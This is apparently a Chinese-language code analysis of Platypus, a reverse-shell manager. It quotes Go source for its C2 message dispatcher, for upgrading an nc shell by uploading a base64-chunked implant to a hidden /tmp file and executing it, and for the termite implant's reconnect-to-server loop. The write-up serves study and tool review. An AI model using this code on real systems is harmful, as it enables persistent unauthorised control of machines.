Type: message.DUPLICATED_CLIENT,
Body: message.BodyDuplicateClient{},
})
if err != nil {
// TODO: handle network error
log.Error("Network error: %s", err)
}
s.NotifyWebSocketDuplicateTermiteClient(client)
client.Close()
} else {
log.Success("Encrypted fire in the hole: %s", client.OnelineDesc())
s.TermiteClients[client.Hash] = client
s.NotifyWebSocketOnlineTermiteClient(client)
// Message Dispatcher
go func(client *TermiteClient) { TermiteMessageDispatcher(client) }(client)
}
}
这部分逻辑与 nc shell 差异不大。主要区别是会启动一个 goroutine,执行 TermiteMessageDispatcher(client)
。
server 侧的 termite 通讯协议实现
跟进 TermiteMessageDispatcher()
。这个函数在 server 侧实现了 termite 通讯报文处理,很长,我们分段阅读:
for {
msg := message.Message{}
// Read message
err := client.Recv(&msg)
if err != nil {
log.Error("Read from client %s failed", client.OnelineDesc())
Ctx.DeleteTermiteClient(client)
break
}
var key string
switch msg.Type {
这是循环读取 termite 发来的消息。每次收到一条消息,就分类讨论 Type
,进行处理。
case message.STDIO:
key = msg.Body.(*message.BodyStdio).Key
if process, exists := client.processes[key]; exists {
if process.WebSocket != nil {
process.WebSocket.WriteBinary([]byte("0" + string(msg.Body.(*message.BodyStdio).Data)))
} else {
os.Stdout.Write(msg.Body.(*message.BodyStdio).Data)
}
} else {
log.Debug("No such key: %s", key)
}
如果消息类型是 STDIO
,则把消息转发给 key 对应的 websocket,即转发给线上终端。
case message.PROCESS_STARTED:
key = msg.Body.(*message.BodyProcessStarted).Key
if process, exists := client.processes[key]; exists {
process.Pid = msg.Body.(*message.BodyProcessStarted).Pid
process.State = started
log.Success("Process (%d) started", process.Pid)
if process.WebSocket != nil {
client.currentProcessKey = key
}
} else {
log.Debug("No such key: %s", key)
}
若消息类型为 PROCESS_STARTED
,则报告子 shell 创建成功。
case message.PROCESS_STOPED:
key = msg.Body.(*message.BodyProcessStoped).Key
if process, exists := client.processes[key]; exists {
code := msg.Body.(*message.BodyProcessStoped).Code
process.State = terminated
delete(client.processes, key)
log.Error("Process (%d) stop: %d", process.Pid, code)
// Close websocket when the process stoped
if process.WebSocket != nil {
process.WebSocket.Close()
client.currentProcessKey = ""
}
} else {
log.Debug("No such key: %s", key)
}
若消息类型为 PROCESS_STOPED
,则报告子 shell 退出。这个 switch 接下来的代码都是此类处理,不再详述。
handler_list[messageType]()
,而把各种消息类型的处理函数注册进 handler_list
这个表。这样代码更清晰。nc shell 升级为 termite
我们已经分析完了 nc shell、termite 与服务器的通讯过程。现在,来看如何把一个 nc shell 升级成 termite。本文的第一章节讨论了三种做法,Playtpus 采用了第二种:多次交互以拼接文件。
代码如下:
func (c *TCPClient) UpgradeToTermite(connectBackHostPort string) {
if c.OS == oss.Windows {
// TODO: Windows Upgrade
log.Error("Upgrade to Termite on Windows client is not supported")
return
}
// Step 0: Generate temp folder and filename
dir, filename, err := compiler.GenerateDirFilename()
if err != nil {
log.Error(fmt.Sprint(err))
return
}
defer os.RemoveAll(dir)
// 生成一个 termite 可执行文件,我们上文已经分析过生成方法
// Step 1: Generate Termite from Assets
c.NotifyWebSocketCompilingTermite(0)
err = compiler.BuildTermiteFromPrebuildAssets(filename, connectBackHostPort)
if err != nil {
c.NotifyWebSocketCompilingTermite(-1)
} else {
c.NotifyWebSocketCompilingTermite(100)
}
// upx 压缩
// Step 2: Upx compression
c.NotifyWebSocketCompressingTermite(0)
if !compiler.Compress(filename) {
c.NotifyWebSocketCompressingTermite(-1)
} else {
c.NotifyWebSocketCompressingTermite(100)
}
// 上传到 /tmp 目录
// Upload Termite Binary
dst := fmt.Sprintf("/tmp/.%s", str.RandomString(0x10))
if !c.Upload(filename, dst, true) {
log.Error("Upload failed")
return
}
// chmod +x 并执行
// Execute Termite Binary
// On Ubuntu Server 20.04.2 TencentCloud, the chmod binary is stored at
// /bin/chmod. This would cause the execution of termite failed. So we
// use the relative command `chmod` instead of `/usr/bin/chmod`
c.SystemToken(fmt.Sprintf("chmod +x %s && %s", dst, dst))
}
这里逻辑很清晰:先构建 termite 可执行文件,再上传,最后执行。主要看上传逻辑:
func (c *TCPClient) Upload(src string, dst string, broadcast bool) bool {
// Check existance of remote path
dstExists, err := c.FileExists(dst)
if err != nil {
log.Error(err.Error())
return false
}
if dstExists {
log.Error("The target path is occupied, please select another destination")
return false
}
// Read local file content
content, err := ioutil.ReadFile(src)
if err != nil {
log.Error(err.Error())
return false
}
log.Info("Uploading %s to %s", src, dst)
// 读入了文件内容,开始上传
// 1k Segment
segmentSize := 0x1000
bytesSent := 0
totalBytes := len(content)
// UI 更新上传进度
c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)
segments := totalBytes / segmentSize
overflowedBytes := totalBytes - segments*segmentSize
p := mpb.New(
mpb.WithWidth(64),
)
bar := p.Add(int64(totalBytes), mpb.NewBarFiller("[=>-|"),
mpb.PrependDecorators(
decor.CountersKibiByte("% .2f / % .2f"),
),
mpb.AppendDecorators(
decor.EwmaETA(decor.ET_STYLE_HHMMSS, 60),
decor.Name(" ] "),
decor.EwmaSpeed(decor.UnitKB, "% .2f", 60),
),
)
// 以 base64 编码连续写入文件,每次 16KB
// Firstly, use redirect `>` to create file, and write the overflowed bytes
start := time.Now()
c.SystemToken(fmt.Sprintf(
"echo %s| base64 -d > %s",
base64.StdEncoding.EncodeToString(content[0:overflowedBytes]),
dst,
))
bar.IncrBy(overflowedBytes)
bytesSent += overflowedBytes
c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)
bar.DecoratorEwmaUpdate(time.Since(start))
// Secondly, use `>>` to append all segments left except the final one
for i := 0; i < segments; i++ {
start = time.Now()
c.SystemToken(fmt.Sprintf(
"echo %s| base64 -d >> %s",
base64.StdEncoding.EncodeToString(content[overflowedBytes+i*segmentSize:overflowedBytes+(i+1)*segmentSize]),
dst,
))
bytesSent += segmentSize
bar.IncrBy(segmentSize)
bar.DecoratorEwmaUpdate(time.Since(start))
if broadcast && i%0x10 == 0 {
c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)
}
}
p.Wait()
c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)
return true
}
总结一句:连续写入文件,每次写 16KB,用 base64 编码传输。
另,这个方法很慢。termite 文件在压缩后仍有 4.6M,需要交互近 300 轮才能完成上传。
更好的设计:提供多种上传 termite payload 的方式供用户选择。
以上,我们分析完了 Platypus 服务器的主要代码。下面该分析 termite 了。
termite shell
这是高级 shell,自带很多功能。由于是 Golang 编写的,它无需依赖 libc 等动态库,能在各种场景下使用。
先看 main
函数:
func main() {
release := true
endpoint := "127.0.0.1:13337"
if release {
endpoint = strings.Trim("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xxxxx", " ")
asVirus()
}
message.RegisterGob()
backoff = createBackOff()
processes = map[string]*termiteProcess{}
pullTunnels = map[string]*net.Conn{}
pushTunnels = map[string]*net.Conn{}
for {
log.Info("Termite (v%s) starting...", update.Version)
if startClient(endpoint) {
add := (int64(rand.Uint64()) % backoff.Current)
log.Error("Connect to server failed, sleeping for %d seconds", backoff.Current+add)
backoff.Sleep(add)
} else {
break
}
}
}
这段代码就是不停地尝试连接服务器。跟进 startClient()
函数:
func startClient(service string) bool {
needRetry := true
// 生成 TLS 密钥
certBuilder := new(strings.Builder)
keyBuilder := new(strings.Builder)
crypto.Generate(certBuilder, keyBuilder)
pemContent := []byte(fmt.Sprint(certBuilder))
keyContent := []byte(fmt.Sprint(keyBuilder))
cert, err := tls.X509KeyPair(pemContent, keyContent)
if err != nil {
log.Error("server: loadkeys: %s", err)
return needRetry
}
config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
if hash.MD5(service) != "4d1bf9fd5962f16f6b4b53a387a6d852" {
log.Debug("Connecting to: %s", service)
// 连接服务器
conn, err := tls.Dial("tcp", service, &config)
if err != nil {
log.Error("client: dial: %s", err)
return needRetry
}
defer conn.Close()
state := conn.ConnectionState()
for _, v := range state.PeerCertificates {
x509.MarshalPKIXPublicKey(v.PublicKey)
}
log.Success("Secure connection established on %s", conn.RemoteAddr())
c := &client{
Conn: conn,
Encoder: gob.NewEncoder(conn),
Decoder: gob.NewDecoder(conn),
EncoderLock: &sync.Mutex{},
DecoderLock: &sync.Mutex{},
Service: service,
}
handleConnection(c)
return needRetry
}
return !needRetry
}
上面的代码建立了 TLS 连接,并把控制流交给 handleConnection()
函数。看看 handleConnection()
的实现:
func handleConnection(c *client) {
oldbackOffCurrent := backoff.Current
for {
msg := &message.Message{}
c.DecoderLock.Lock()
err := c.Decoder.Decode(msg)
c.DecoderLock.Unlock()
if err != nil {
// Network
log.Error("Network error: %s", err)
break
}
backoff.Reset()
switch msg.Type {
这个逻辑和 server 侧的协议解析非常相似。接下来也是一个超级大 switch,不再赘述。
观后感
Platypus 是一个比较成功的平台。在线下 pentest 赛场上,我们看到很多队伍没有这样的工具,只能用 metasploit 互相弹 shell,深感 Platypus 使用之便捷。
然而,从设计的角度讲,Platypus 有一些不足。最大的问题在于 termite 试图做的事情太多了。很多功能(例如端口转发)是不能在 Web UI 上用的,只能在命令行模式下用。这些高级功能完全可以上传独立的程序来做,没有必要打包进 termite。另外,有许多功能的实现方法是固定的(例如升级 nc shell 只能通过连续交互拼接文件),扩展性较差。